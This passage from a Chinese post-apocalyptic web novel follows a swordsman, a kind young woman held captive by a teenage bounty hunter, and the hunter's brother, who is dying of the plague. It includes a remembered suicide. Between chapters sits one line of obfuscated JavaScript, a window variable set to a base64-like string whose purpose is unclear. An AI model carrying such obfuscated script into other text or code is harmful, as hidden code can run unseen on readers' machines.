黑色星期三冲向了殇,他对着殇连续砍了两刀,殇一个后撤步躲开;他挥动左臂砍了一刀,殇一个后仰躲开;他挥动右臂砍了一刀,殇一个后空翻躲开了,躲得时候顺便用上踢腿踢了一下黑色星期三的下巴,这一下让黑色星期三这个大块头的身体后撤了一步。殇落地后瞬间向后伸腿压低身体,在瞬间一个健步冲到黑色星期三面前,一个冲刺拳直接打在黑色星期三的腹部,黑色星期三瞬间被击退出去三四米,周围所有的清道夫都震惊了。黑色星期三刚刚落地,殇就已经一个冲刺再次来到了他的面前,这次黑色星期三反应过来了,他迅速用臂刃劈向殇,殇丝毫不慌,直接用一只手揽住了黑色星期三的手臂,然后像单手做引体向上一样直接一跃而起,只不过他不是正常地以此来躲开黑色星期三的攻击,而是借此直接飞到了黑色星期三的头顶上方。黑色星期三一脸惊讶地看着殇,他这辈子都没见过能做到这种事的人。殇在空中转体倒过来用手抓住黑色星期三的头,他随后下压身体,抬起膝盖,在向下旋转一百八十度后一个膝盖上顶直接击中黑色星期三的下巴,这一下直接击倒了黑色星期三。殇以落地猛冲落地,他拍了拍身上的灰尘,他淡定地看向周围,又看了看被击倒在地的黑色星期三。 殇: “就这吗?——很厉害了,这种人竟然也可以做到与我一战,算是很厉害的了。” 殇大摇大摆地向着黑色星期三走去,黑色星期三缓缓从地上爬起,刚刚的那一下让他有点神志不清,但是他还是能看清眼前的景象的。他看着殇向着自己走来,他丝毫没有害怕与慌张,反倒是很从容淡定。 黑色星期三: “你赢了,你这个混蛋。你现在可以宰了我了......” 殇: “不,你不配。” 黑色星期三: “你.......” 殇: “你现在还不配去死,因为你家里还有那些等着让你去养活的家人。你要是死了,他们靠谁养活?” 黑色星期三: “真他妈的是个不可救药的混蛋啊......——既然你赢了,那我们也就不会再出现在你的眼前了。” 殇: “那最好。省得你们再给我添加麻烦。” 黑色星期三和这些被殇打伤的清道夫们回到了车上,这些清道夫发动了汽车,准备带着今天的收成离开这里。在走之前,黑色星期三还有点话想对殇说。 黑色星期三: “感谢你放我和我的兄弟们一命,让我们还可以见到我的家人。” 殇: “不用谢,谁叫我是强者呢?” 黑色星期三: “但是......有件事情是不变的。” 殇: “什么事?” 黑色星期三对着殇竖起了中指,对殇嘲讽道: “就是你是不可救药的混蛋的事实!” 殇也对黑色星期三竖起了中指。 “操!” 黑色星期三他们坐着车离开了这里,阵阵轰鸣声与他们黑色的身影渐渐消失在的地平线下,殇静静地站在原地目送着这些清道夫离开。阵阵微风吹在他的身上,他此时好像如释重负一样,他静静地听着风的声音,感受着大自然的一切。 殇: “哎......这风真凉快啊。你说对吧?伊。” 此刻空气突然安静。殇净顾着打架,这时才想起伊来。 殇: “伊?伊!完了,把她忘了!快走!到时候要是她被卖了可就完了!” 小鸟这时突然向着殇飞来,殇见到小鸟之后有些疑惑,他正想问小鸟他去哪里的问题,只听小鸟飞到殇耳边嘀咕了两句话,殇恍然大悟。 殇: “原来如此。小鸟,落在我肩膀上,我们去救她!” 小鸟: “好。” 小鸟落在了殇的肩膀上。在小鸟落下后,殇马不停蹄地向着小鸟所说的方向跑去...... 到了晚上...... 伊缓缓睁开眼睛,她看到之前的那个小男孩正在火堆旁边靠着墙睡觉,而之前的那个金色午夜正在另一边的实验桌前配置着一种特殊的药水。伊坐了起来,她用手摸了摸自己头上的伤口,她惊奇地发现她的伤口被一条绷带所缠绕着。伊转头看了看那个小男孩,又看了看金色午夜。这次,她看清了金色午夜的长相。 她有着黄色的皮肤,绿色的眼睛,金黄色的短发。她的头发上戴着一个很别致的淡蓝色发卡,身穿一身金黄色带帽刺客服装,脚穿一双黑色的长靴,看起来很像是一位老练的刺客。她的腰间别着两把威力巨大的左轮手枪,嘴上带着一个骷髅黑色的口罩,看起来有种莫名的帅气。 金色午夜配置好了这种特殊的药水,她摘下了口罩,转过身来笑着看向自己的弟弟,这时她注意到了醒过来的伊。 金色午夜: “哦?你醒了。” 伊: “我这是......在哪里?” 金色午夜: “这里是一件比较安全的屋子。还有......” 金色午夜露出微笑。 “谢谢你救了我的弟弟。” 金色午夜瞬间变脸。 “但你别认为这样我就会放过你,我还是把你卖出去换钱的。” 伊: “好吧......对了,你叫什么名字?你今年多大了?” 金色午夜: “我叫马婷婷,今年16岁了。” 她走到狄天明的身旁摇了摇狄天明,把狄天明摇醒了。 马婷婷很温柔地对狄天明说: “弟弟,该吃药了。” 狄天明点了点头,迷迷糊糊地喝下了马婷婷手中的药,然后闭上眼继续睡觉。 伊好奇地问道: “对了,这种药是用来干什么的?” 马婷婷面色难看地回答道: “这种药......是来延缓疫病的。” “什么?!他感染疫病了?” “没错。他感染了疫病。” “感染多久了?” “一个半月了,由于这些特殊药水,他多活了半个月......但,这些剂量还不足以让他活过两个月,而且,他已经进入疫病死亡的最后阶段了。” 听到这个消息,伊深表同情。 伊: “所以你......” 马婷婷: “没错。我必须卖了你才能买得起足够剂量的药水,只有那样才可以让他活下去。” 伊的周围出现了奇妙的光芒,她很惊讶地看着周围的光芒,她还从未遇到过这种情况。不一会,她的眼前出现了马婷婷的记忆世界。 马婷婷正在和她的父亲在一座大桥上奔跑,他们的后方是如同浪潮一般的怪物,它们张牙舞爪的,想要撕碎这对父女。前方的桥面突然断开了,这下彻底封死他们的出路。就在这时,马婷婷的父亲想到了办法,他跑到裂口处做好了准备一把把马婷婷送过去的姿势。 马婷婷的父亲: “婷婷!快跳!” 马婷婷来不及思考,照做了。马婷婷有惊无险地过去了,她在桥的另一边看着自己的父亲,她突然意识到了这么做的意义。 马婷婷: “爸爸!不......” 马婷婷的父亲: “孩子......活下去!离开这里!” 马婷婷: “不......爸爸!你快跳过来,我能接住你的!” 马婷婷的父亲: “记住......活着,比什么都重要。活下去......这样你才能见到明天的太阳,这样你才能有机会实现你的梦想。” 马婷婷: “不!” 马婷婷的父亲: “有机会再见,我的女儿。” 马婷婷的父亲掏出了背上那把大刀,迎着这些怪物冲了上去。马婷婷咬着牙,流着泪很不舍地向着桥的另一头跑去。她就这样亡命逃亡了许久,她一路从桥上逃到了城市之中。就在她逃亡的途中,她碰到了同样逃亡的狄天明,狄天明比她小一岁,所以她担负起了大姐的责任。 马婷婷: “你这个小弟弟给我跟好了!到时候死了可没人救你。” 狄天明: “哦,知道了。” 她们两个在城市之中逃窜,试图找到一处安稳的落脚点,但是无论她们去哪里,那些怪物依旧会寻着踪迹找到她们。就在她们一筹莫展的时候,一位善良的女科学家帮助了她们。 吴: “小家伙们,快跟我来,这里危险。” 她带着她们来到了她的基地内,并为她们提供了食物和水。在这位女科学家吴的帮助下,她们躲过了感染潮。 狄天明和马婷婷: “谢谢你,吴阿姨。” 吴: “你们这两个小家伙还挺有礼貌的。你们以后就跟我在一起生活吧,外面特别危险,你们这两个小家伙肯定活不久的。” 马婷婷和狄天明点头答应了。此后她们两个就跟着吴一起生活了,虽然日子过得很辛苦,但是她们三个每天都很开心。马婷婷和狄天明虽然不是亲生姐弟,但是他们两个之间的姐弟之情甚至比亲身的还要浓厚。她们虽然与吴不是亲生母女母子关系,但是她们之间的感情比亲生的还要深厚,虽然她们一口一个吴阿姨,但心里是把吴当做自己的亲生母亲的。 她们三人的生活很是快乐,可现实是无情的,在三年之后,吴感染了疫病。她为了不把疫病传染给马婷婷和狄天明,她将自己锁在一个封闭的房间之中,她每天靠着墙忍受着疫病在体内肆虐的痛苦,偶尔自言自语几句。马婷婷和狄天明很是心疼吴,可他们除了偶尔跟吴聊聊天以外什么事也做不了。 马婷婷: “吴阿姨!你出来了,别在里面待着了!” 狄天明: “对啊!吴阿姨你出来吧,吃点什么吧,你已经不吃不喝半个月了!” 吴此时的声音已经扭曲,只有依稀的细柔嗓音还能判断得出她曾是人类。她身上虽佩戴核心,但也扛不住疫病的侵袭。只能说命运无情,死神要收她走了。 吴: “不!我不能出来!我感染了疫病,我不想把疫病传染给你们......” 马婷婷和狄天明: “吴阿姨......” “马婷婷,记住,我不在的时候你就是家里的顶梁柱,你一定要照顾好你的弟弟。你拿上我你床头柜里面的那个核心吧,按照说明书使用它,这样你才能独挡一面。” 马婷婷: “知道了!吴阿姨。” 按照吴的嘱咐,马婷婷激活了那颗核心,成为了EcL,同时从此成为了家里唯一的支柱,各种活都要由她来做。即使这样很辛苦,即使这很累,但她依旧可以感受到快乐。 在某一天,吴终于是挺不住了。 吴用颤抖且扭曲的声音呼唤马婷婷和狄天明,似乎是感觉到了自己命不久矣。 吴: “狄天明......马婷婷,你们过来一下。” 马婷婷和狄天明一听这话,立马凑到了门前,她们与吴仅仅隔着一道铁门,可这扇铁门仿佛是一座座大山,它完全阻挡了她们与吴相见。 马婷婷: “吴阿姨,有什么事......你是不是不舒服?用不用我开门给你送点东西?” 狄天明: “吴阿姨,你好点了吗?用不用我们给你弄点药?” 吴: “不必了......孩子们,你们两个要记住......沿着北走......你们可以看到一片巨石林,走过......巨石林你们可以看到一座荒废的小镇......走过小镇......走到渔村,坐上港口最大房子旁边的房子之中的船......去......幸存者联盟国......夜歌大哥会照顾你们的......” 吴的嘴角流出了大量的鲜血,同时铁门后传出了吴抽泣的声音。 吴: “孩子们......活下去......好好活下去......你们是还未绽开的花苞,你们还有大好的青春......你们还有梦想可以实现......” 听到吴这么说,马婷婷和狄天明流出了悲伤的泪水,他们压抑在心中的感情在此刻释放了。 狄天明和马婷婷悲伤地流着泪点了点头,一同说道: “知道了......吴妈妈......” 吴发出了颤抖且扭曲的抽泣声,紧接着她说出了她的遗言。 “能在......死前听你们叫我妈妈......我也知足了.......” 随后只听一声枪响,周围安静了,马婷婷和狄天明一动不动地流着眼泪,过了一会,从门的那边传来了手枪落地的声音。 ...... 伊在看到这一切之后闭眼沉思了一会,她十分同情这对姐弟。马婷婷拿出了一块肉干,她将肉干递给了伊。 马婷婷: “赶紧吃!别饿死了,不然我可拿不到一分钱。” 伊: “知道了。” “明天你跟着我一起赶路,你负责背着我的弟弟,我负责处理路上的敌人,明白了吗?” “明白了。” “还有,少给我耍什么花招,你要是敢伤害我的弟弟,我直接把你碎尸万段!听到了没有?” “知道了。” 说完这些,马婷婷瞬间变脸,说话的语气也变得温柔了几分。 “对了......快点吃吧,吃完你就睡吧,不然明天你可没体力赶路。” 伊拿起肉干,微笑着说: “好。” 说完,伊就开始啃手中的这块肉干。马婷婷在伊吃的时候眼神是不是飘向她手中的肉干,她咽了咽口水,假装无所谓。伊看出来了这一点,她用手撕了一半的肉干,她把这一半肉干递给了马婷婷。 伊微笑着说: “想必你也饿了,给,这一半给你吧,我不算太饿。” 马婷婷一脸嫌弃地说: “不,我不饿,我不想吃。” 此时她的肚子咕咕叫了两声,这弄得她有些尴尬。她看了看伊手中的一半肉干,又看了看伊那纯真的微笑与真诚的眼神,她再次看了看伊手中的一半肉干,又看了看伊的脸,最后经不住诱惑从伊的手中拿过了这一半肉干。 马婷婷一脸傲娇地说: “切!不吃白不吃!” 说完,马婷婷立马开始吃手中的肉干。伊看着马婷婷露出了微笑。伊看了看窗外的星空,她回想起了自己的小时候,回想起了自己跟她一样大时的时光。说实话,马婷婷要比那时候的她要强上太多了,即使她是个来自无人区的小姑娘。皎洁的月光透过窗户照在两人的身上,阵阵微风吹过两人的耳畔,周围很安静,只有风与火堆燃烧时的声音。 这时伊想到了一个问题,于是她问马婷婷: “对了,马婷婷,你的梦想是什么啊?” 马婷婷很疑惑地问: “梦想?你问这个干什么?” “没什么,我只想单纯地问问。” “我的梦想只有两个,一个可有可无,一个必须有。” “哪个必须有呢?” “当然是我和弟弟一起活下去啦。” “那......哪个可有可无呢?” “那个可有可无的是我想成为一名画家的梦想。” “为什么可有可无呢?” “毕竟这个世界活下去都很困难了,更何况追求自己心中所向的梦想呢?——对了,你的梦想是什么?” “我的梦想?我的梦想是有朝一日光之森林的光芒会照耀这个世界,光的种子将会在每个人的心中生根发芽,到时候疫病将会消除,世界将没有那么多的痛苦,所有人都可以过上幸福快乐的生活。” “你这梦想可真够大的,你怎么会有这种梦想啊?” “这个......也许因为这是我爷爷传下来的家族梦想吧。” “真搞不懂......明明活下来就已经知足了,为什么还要追求一些可有可无的呢?这样有什么意义?” 在月光的照耀下,她们两个渐渐睡着了...... ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 西玲国—第六话:终有离别时 殇一个人向着最近的小镇赶去,他的核心告诉他伊就在那座已经荒废的小镇之中。到了晚上,一片怪异的森林出现在他的眼前,这片森林之中满是黑暗的迷雾与变异的紫色树木,看起来令人毛骨悚然,但他顾不了这么多,他必须保证伊的安全,不然他的计划就会失败。他无所畏惧地冲进了森林之中,完全无视那些恐惧与黑暗。阵阵刺骨的阴风吹过这片森林,树木都被吹得嘎嘎响,怪异的风声回荡在森林之中,可他仿佛熟视无睹一样地无视了这些异响,好像他曾经经历过这一切。 此刻,许多隐藏在黑暗之中的怪物发出了低沉的吼声,它们在向殇宣告着自己的权威,又或者是在告诉殇即将被它们所粉碎的消息。殇无视了它们的吼声,继续向着森林的另一边前进着。殇的行为激怒了这些隐藏在怪物们,这些愤怒的怪物开始在森林之中来回跑动,准备在一个合适的时机向殇发起进攻。殇此刻意识到了危险,他缓缓停下了脚步。过了一会,他停在了一个开阔的平地上,他闭上了眼睛,静静聆听着周围的声音。他耳中听到的只有风声与那些怪物移动的声音,此刻的他,全神贯注,时刻准备反击接下来可能来的攻击。 殇: “小鸟,注意点安全。接下来是一场不可避免的恶战。” 小鸟: “知道。我虽然战斗力极低,但是我极其灵活,那些怪物根本伤不了我。——反倒是你,最有可能被那些怪物杀死。” 殇: “小鸟......想必,你知道我真正的身份吧。审判鸟。” 小鸟: “看样子,你看出来了......” 殇: “虽然我不知道我是谁,虽然我忘记了很多,但是你们几个特殊的伙伴我还是记得的。” 小鸟: “你这个老混蛋......不愧是你。那么我先躲到一旁观战去了,你就自己一个人应付这些怪物吧。” 殇: “好吧。反正这些家伙又不能奈我何。” 就在小鸟刚刚离开殇的瞬间,那些隐藏在黑暗之中的怪物成群从黑暗之中冲出,它们全都一个飞扑扑向了殇。它们张牙舞爪地,眼神之中满是杀意与恨意,仿佛它们眼前的是自己的仇人。殇睁开了眼睛,用手摸了摸自己的腰间,此刻他突然发现自己腰间的武士刀不见了,他现在是个手无寸铁的人了。但他从未慌张过,因为他此刻已经想到了解决这个问题的办法。 殇: “准备......” 殇的胸口发出了金色的光芒,他体内的隐藏的核心能量在此刻全部复苏过来。 殇: “激活E协议,生成Emw-56,大理石柱。” 许多金黄色的线条出现在殇的身旁,这些金色的线条在极短的时间内拼凑出了一个框架,这根框架的样式正好是一根大理石柱。殇的核心开始向这根框架内发射许多道金色的闪电,这些闪电在注入到了这个框架内之后形成了一根崭新的大理石柱。这一系列的动作都在短短的三秒内完成,这个时候正好是那些怪物即将要扑中殇的瞬间。这根有两米多高的石柱看起来做工十分精致,一看就是价值不菲的造物,但对于殇来说,这根石柱只是一把救急用的武器。他一把抱住这根石柱,下压身体,做好姿势,接着用力转体一周使劲一挥,许多的长相扭曲恶心的怪物直接被殇这一下击飞出去十几米。这些被击飞的怪物正好撞到了身后的同伴,它们与它们的同伴一并被击飞了出去,就如同被保龄球击中的木瓶一样。殇的这一下解决了全部挡路的怪物,可见他这一击的威力究竟有多大。 殇将这个石柱分解成线条,最后这些线化成许多能量回到了殇的核心之中。殇找了找周围,他并没有找到自己之前的那把武士刀,他很失望地摇了摇头。 殇很惋惜地说: “可惜了,那把武士刀还挺好的......” 但紧着他耸了耸肩,淡然地说: “管他呢,反正以后可以遇到更好的武器。不差这一把。” 殇转过身去看着小鸟,小鸟此刻正站在一棵树之上凝视着殇。 殇对小鸟招了招手,说: “小鸟,该走了!” 小鸟: “知道了。” 小鸟飞到了殇的肩膀上,他用脸蹭了蹭殇的脸,仿佛在向殇表达某种意思。殇笑了笑,用手摸了摸小鸟的头,然后迎着风向着森林之外跑去。阵阵阴冷的风吹在殇的身上,黑暗笼罩在殇的身旁,昏暗的光芒照在了殇的身上,殇此时仿佛就跟一只在森林之中穿梭的鸟,无论前方有何障碍也要无畏地前进。他走了许久,当黎明的日出的光芒照在他的脸上的时候,他终于走出了这片扭曲腐化的森林。此刻他眼前出现了那个荒废的小镇,那座小镇在远处看起来就跟废墟一样,仿佛是荒废了许久的无人之地。小镇周围有一片地区变成了沙漠,那里没有树木,只有两个已经停止工作的发电站,看起来是那两个发电站导致了沙漠的产生,又或者......是因为这场疫病呢? 看着眼前的景象,殇很惋惜地说: “真是可惜了这座小镇了。如果没有这场疫病,也许这里将是许多人快乐生活的地方。真是可惜啊......有没有什么办法可以挽救这一切呢?” 小鸟: “办法是有的,只不过我们暂时还做不到罢了。” 殇露出自信地笑容,说: “我想......伊说的是对的,我们是可以改变一切的。只不过......这个过程很漫长罢了。” 殇带着肩上的小鸟向着远处的废弃小镇之中走去,他这次没有焦急地奔跑,而是慢慢地走,他想在路上好好观察这座荒废的小镇,由远到近地观察它。他并没有忘记被绑走的伊,他知道伊现在处在一个危险的境地,但是他丝毫不慌,因为他的核心可以定为伊的位置,现在的伊依旧在这座小镇之中。只要伊不经常移动,殇就不会加速移动。虽然那时只有一瞬间,但是殇依旧看清了那个绑走伊的人的大致样貌,根据身高与身形以及声音判断,殇很确定那位绑匪一定是个年龄不大的女孩,因此他不需要太着急。 与此同时...... 马婷婷从睡梦之中惊醒过来,她大叫了一声,然后坐了起来。她坐起来喘着气看了看周围,发现周围一切正常,她擦了擦额头上的汗,叹了口气,见此她才放下心来。她转头看了看正在熟睡的伊。她对着伊露出了微笑,她自己心里也不知道为何微笑,也许是因为昨晚两人的谈话,又或者是因为伊对她那真诚的善意。黎明的曙光在此刻照在了她的身上,她转头看去,太阳已经在地平线上升起。 马婷婷对着太阳微笑,感受着黎明的光彩。马婷婷心情顿时愉悦了不少。看着黎明,马婷婷说: “又是新的一天呢,又是充满希望的一天呢。只要我卖掉了她......我和弟弟就可以过上快乐的生活,我的弟弟就可以活下去!可......这样真的好吗?” 马婷婷突然意识到什么,紧接着摇了摇头。 “我在说些什么?她只是个与我毫不相干的陌生人而已!” 但紧接着,她就心软了。 “可......我能感受到她对我那真实的善意,就跟吴妈妈一样。那种感觉是绝对不会错的!只有吴妈妈才能带给我这种温暖。是我出错觉了吗?” 马婷婷站了起来,她走到了窗边,打开了窗户,让风吹进了房间之中。清晨清凉的风吹在她的身上,这让她很舒服,她闭上了眼睛静静地感受这清晨。她那金黄色的短发在风中摆动,此刻的她不像是一个生活在血雨腥风之地的猎人,而是一位生活在和平地带的花季少女。 在体验了短暂的美好之后,她睁开了眼睛,无奈地叹了口气。她走到桌子旁拿起了桌子上的两把镰刀,用手用手小心翼翼地擦了擦上面的灰,然后把这两把镰刀别在了腰间。她拿起桌子上的口罩,她戴好口罩,戴上脖子后面的刺客帽,重新化为金色午夜。在做好一切准备之后,她叫醒了伊和自己的弟弟。 马婷婷大声说道: “喂!你们两个别睡了!快点起来,我们还要赶路呢!” 狄天明和伊睁开了眼睛,他们打了个哈欠,揉了揉眼睛,缓缓站了起来。 马婷婷催促他们: “别慢吞吞的!我们得在今天晚上之前赶到渔业码头去,不然就错过了最佳的离岛时间了。” 狄天明起来口咳嗽了几声。 “咳咳咳......” 随后他装作无事一样地答应道: “知道了,姐姐。” 马婷婷见狄天明这样,有些心疼。但她面不改色,仍是严厉的样子。马婷婷对狄天明说: “别咳嗽!这样容易让肺里进尘土!给我坚强点,我可不想看到弱小的你。你还没资格给我去死!” 马婷婷是刀子嘴豆腐心,这一点狄天明深知。狄天明微笑着应答马婷婷: “知道了,姐姐。” 马婷婷转头看向伊,然后一脸严肃地对伊说: “那个......白头发的人!你可别跟我耍什么花招,不然小心我弄死你!听到了没有?我可还指望拿你换钱呢。” 伊微笑着应答道: “知道了,马婷婷。” 马婷婷撅起嘴来,很严肃地说: “别叫我大名!叫我金色午夜。” “知道了,金色午夜。” 虽是她表面上严肃冷酷,但她心里还是很关心伊她们的。马婷婷问伊她们: “对了,你们有谁要吃点食物吗?我这边还有点我自己做的面包。” 伊摇摇头,说: “我不饿,你给他吃点吧。” 马婷婷表情有些许疑惑,说: “哦?这可是你说的啊,那么这些面包你可别想吃一口了。” 伊点点头,微笑着说: “嗯。你给他吧。” 狄天明一听,感觉心里暖暖的。但考虑到现在的情况,狄天明有些担心地问伊: “这位大姐姐,你真的不吃点东西吗?” 伊温柔地回答道: “没事,我不饿。” 马婷婷拿出了两块看起来有些焦掉的面包,她把这两块看起来没什么食欲的面包放在了狄天明的手上,虽然这两块面包看起来没有食欲,但这样的面包她能做到的极限了,她已经尽力了。他颤颤巍巍地托着这两块面包,他现在托起这两块面包都有些费力了,他现在正在忍受着即将摧毁自己生命的可怕疫病在自己的体内肆虐。他为了不让姐姐担心,一直装作没多大事。他会用微笑向自己的姐姐报平安,以此来让自己的姐姐对自己放心。可他自己心里知道,自己已经到了疫病的晚期,他命不久矣了。他把其中一块面包撕成了两半,一块递给了伊,一块递给了马婷婷。 狄天明露出稍显痛苦的微笑,对伊和马婷婷说: “姐姐,这位大姐姐,你们两个也吃点吧。我不算太饿的。” 马婷婷和伊摆手拒绝了。 马婷婷委婉地说: “我不饿。” 随即马婷婷态度一变,命令狄天明道: “听姐姐的话!把这个面包吃下去!” 伊微笑着说: “我也不饿,听你姐姐的话,你先吃吧。” 狄天明: “好......好吧。” 在狄天明吃完这两个有些难以下咽但意义非凡的面包后,马婷婷带着他和伊向着小镇不远处可以离开西玲国的渔业码头赶去。携带着黄沙的烈风吹过这座小镇,荒凉的气息开始在小镇中弥漫,昏暗的阳光透过风沙照在这三人的身上,一种莫名的压力袭来,她们三个都感觉到了这种无形的压力。当她们三人走到小镇外的一处驿站时,狄天明终于支撑不下去了,他倒在了驿站的一根石柱旁。马婷婷和伊见此立刻上前扶起了倒在地上无力的狄天明。 马婷婷很担心地问: “狄天明......你没事吧。” 狄天明无力地微笑,尽他可能地不让马婷婷担心。狄天明说: “没事......姐姐,我只是太累了。” 马婷婷看了看周围,她注意到了驿站内还算完好的休息室。 马婷婷很急切地说: “伊!我们两个把他扶进驿站里的休息室,让他歇一会。” 伊点了点头,说: “好。” 马婷婷和伊扶着狄天明走进了驿站,走进了休息室之中。她们把狄天明放在了休息室内的一个大沙发上,然后把狄天明的身体扶正,让他靠在了靠在了沙发上。马婷婷用双手抓住狄天明的脑袋,用一种十分担忧与关心的目光看着狄天明。 马婷婷十分担忧地对狄天明说: “狄天明,你给我听好了!别给我打瞌睡,你就在这歇一会,姐姐给你弄点让你好受一点的东西。” 马婷婷皱紧眉毛,说话声大了些。 “挺住!听到了没有?!挺住!我们很快就要到地方了。姐姐很快就可以带你过上快乐的生活了,你要挺住啊!” 狄天明无力地微笑,说: “放心,姐姐。我挺得住的!” 马婷婷闭着眼用额头碰了碰狄天明的额头,然后睁开眼睛,用一种担心的眼神看着狄天明。她缓缓松开双手,转身拔出了腰间别着的两把镰刀,她缓缓地走向了休息室外的门。在离开休息室之前,马婷婷转头用一种有些许不信任但又有些信任的眼神看着伊。 马婷婷用带有威胁的语气命令伊: “你给我看好我弟弟,他要是有什么差错,我就杀了你!听明白了吗?” 伊看到马婷婷的这个眼神之后不禁哆嗦了一下。 伊点点头,答应道: “知道了,我一定会保护他的。” 马婷婷: “我马上回来......” 说完,马婷婷就转身离开了休息室。就在马婷婷离开休息室后不久,伊走到了狄天明的身边查看狄天明的状态,就在她用手即将碰到狄天明的额头时,狄天明一把抓住了她的手。狄天明的用一种恳求的眼神看着伊,仿佛是在向伊诉说着什么。 狄天明小声地对伊说: “大姐姐......有些话......你可以别跟我姐姐说吗?就当是我与你之间的小秘密,行吗?” 伊也小声地对他说: “可以。” 随后,两人说起了小声的悄悄话。 狄天明无力地说: “姐姐......实不相瞒,我马上就要死去了......我曾经看过吴阿姨手里的资料,我知道我从感染疫病的那天开始就命不久矣......我姐姐为我弄的那些特殊药水只能缓解一天,而这病......只需要一个月就可以杀死我。现在......我能感觉到了......疫病马上就会夺走我的生命......” 说到此处,狄天明向伊恳求道: “请你......为我拿来一片安神散,让我睡着吧......这样,我姐姐起码不会在离开这个绝望的国家之前失去生活下去的希望......” 伊: “不......不!你不能这样做,你这样只会让你姐姐知道真相后更加绝望与伤心。” 狄天明: “我知道......请你照做吧......我只希望我的姐姐不要因为我失去活下去的勇气与希望。我从吴阿姨离开的那一天就感受到了......我姐姐......一直以我为活下去的希望。我不想让她伤心,可是现实是无情的......” 狄天明露出无力的笑容,真心实意地再次向伊恳求道: “请你帮助我完成这个谎言吧......让我的姐姐再......有意义地生活下去吧......她够辛苦了,我不想让她伤心......” 伊的眼角泛着泪光,她被狄天明深深地感动到了。 伊一口答应道: “好!我帮你完成。” 狄天明给予伊一个无力而又真诚的笑容,并感谢道: “谢谢你......大姐姐......” 伊正要转身去找,驿站外突然传来了马婷婷与人的交谈声,伊很好奇地靠在门前向驿站外望去...... 与此同时...... 殇带着小鸟一路追到了这件驿站的外边,他们知道伊就在这件驿站之内。就在他们要进入驿站内的时候,金色午夜拦住了他们。 殇微笑着对金色午夜说: “你好啊,小朋友。用不用叔叔给你点糖啊?” 金色午夜生气地说: “老子今年十六了!给我说话尊敬点!” 金色午夜的态度突然转变。 “对了......你真的有糖果吗?你要是有糖果的话可以给我来一点吗?我想给我的弟弟吃一点。” 殇笑着说: “不,我骗你的。我可没有糖果这种高级货。” 金色午夜很生气地用左手镰刀指着殇,她被殇调戏的话语所激怒了。她很生气地说: “你......操!敢耍我!我现在就弄死你。” 金色午夜以极快的速度对着殇连续挥了几下镰刀,殇连续几个身法躲闪加一个后撤全部躲开了。 殇: “诶!你这小家伙怎么可以这样?我可还没动手呢。” 金色午夜理直气壮说: “管你动没动手,惹着我我干你就完了。” 金色午夜又对着殇砍了几下,殇再次用身法一一躲开了,金色午夜的这些攻击对于殇来说几乎是没有威胁,因为金色午夜的攻击速度对于他来说慢多了。殇完全没有要跟金色午夜动真格的意思,他只是以一个看小孩子的态度对待眼前的金色午夜。 金色午夜: “很能躲吗。既然如此,那么我就给你一条生路。只要你现在回头,我保证不会伤害你。” 殇一听这话,一个计划在他的脑中出现。 殇: “好!我答应你,既然如此......我就先走了。” 说完,殇转身离开了这里。金色午夜在看到殇离开后多看了一会,防止殇欺骗自己。过了一会,殇消失在了她的视野盲区之中,见此她才放下心来。在确认殇彻底离开后,她回到了驿站内继续搜寻着物资。殇在远处看到金色午夜消失在驿站门口后点了点头,然后以一个弧线的路线绕到了驿站的另一侧,他完全避开了金色午夜的注意,偷偷溜到了休息室之中。 殇长舒了一口气,说: “呼......绕过那个小孩了。要不是为了和平一点带走伊,我才不会选择通过这种方式呢。” 殇闭上眼睛思考,然后沉默片刻,接着说道: “杀的多了,也该试着用和平解决问题了。” 此时殇看到了正坐在一个睡着孩子身旁的伊,他看到伊后并没有立刻叫出伊的名字,而是小心翼翼地来到伊的身旁拍了一下伊的肩膀。伊立刻做出反应,她转头看向殇。在看到殇的瞬间,她的眼中满是不可思议与惊讶,她想开口说些什么,但下一秒殇就用手捂住了她的嘴,没让她出声。殇对伊做了个手势,暗示伊小声说话。 殇: “嘘......小声点。” 殇转头看了看周围,然后小声对伊说: “趁她还没来,我现在把你带走!” 殇拉起伊的手就要把她往外带,可是下一秒伊就把他往回拉了一下,这让他顿了一下,他很疑惑地转头看向伊,他的眼神之中满是不解与疑问。 殇小声问伊: “你干什么?快走啊!” 伊小声恳求殇道: “殇......你可以让我暂时留在这里吗?” 殇尽量压低声音,质问她: “你疯了!?留在她身边只有危险!你不想去王座之间了?” 伊露出微笑,说: “我当然想去......可是,我想在这个孩子的姐姐失去希望之前陪她走完最后一段路。我想帮这个孩子完成他心中最后的愿望。” 殇小声地说: “你!你......——哎......你这女人的事真他妈的多!” 伊小声恳求道: “求求你了......殇,就这一次。” 殇很坚定且小声说道: “你对我撒娇没有用!你觉得你的三言两语可以改变我的决心吗?” 伊小声恳求殇: “求求你了......殇,我知道你最好了。你肯定愿意帮我这一把的。而且帮他这一把又不会给你带来什么坏处,就帮他这一把吧,这两个孩子太可怜了。” 殇小声告诉伊: “可怜?这个世界上的可怜人有那么多呢!哪有那么多功夫去帮他们?!你也是可怜人!你连自己都保护不好,更何况去帮他?每个人都是可怜人!每个人都生活在痛苦之中。在这个世界之中,所有人都认为比自己少受些痛苦的人就是幸福的,实际上,每个人都在被痛苦折磨着,根本没有人真正拥有过幸福!” 伊更加真诚地小声恳求殇: “求求你了......殇,就这一次。我说过,我们能改变一切的,现在就是兑现我所说的诺言的时候!求你了......” 殇有些恼怒地小声说道: “都说了多少次了!你......” 伊用无比真诚的眼神看着殇,她的眼神之中有着无尽的善意与光芒。殇见到伊这样,无奈地叹了口气,松开了手。 殇无奈地妥协了。殇小声说: “哎......女人啊......——行吧,行吧。我同意了,你可以帮助他。” “谢谢你,殇。” “但是......死了可别赖我没保护好你。” “知道了,殇。” “真不知道你为什么这么多愁善感......” 说完,殇翻窗离开了这里。 过了一会,马婷婷拿着几块小冰糖走进了休息室之中。她看到靠在沙发上睡着的狄天明后眼神立马慌乱起来,她立刻跑到了狄天明的身旁将手指横在狄天明的鼻子前,所幸狄天明现在还有呼吸,他只是睡着了,马婷婷这才松了口气。 伊: “他只是因为太累而睡着了。” 马婷婷叹了口气,说: “哎......虚惊一场。伊,一会你背着我弟弟跟我一起走吧。我看你手无寸铁的样子没办法起到保护别人的作用,所以由我来保护你们两个,而你就负责背着我弟弟前进。” 伊点点头,说: 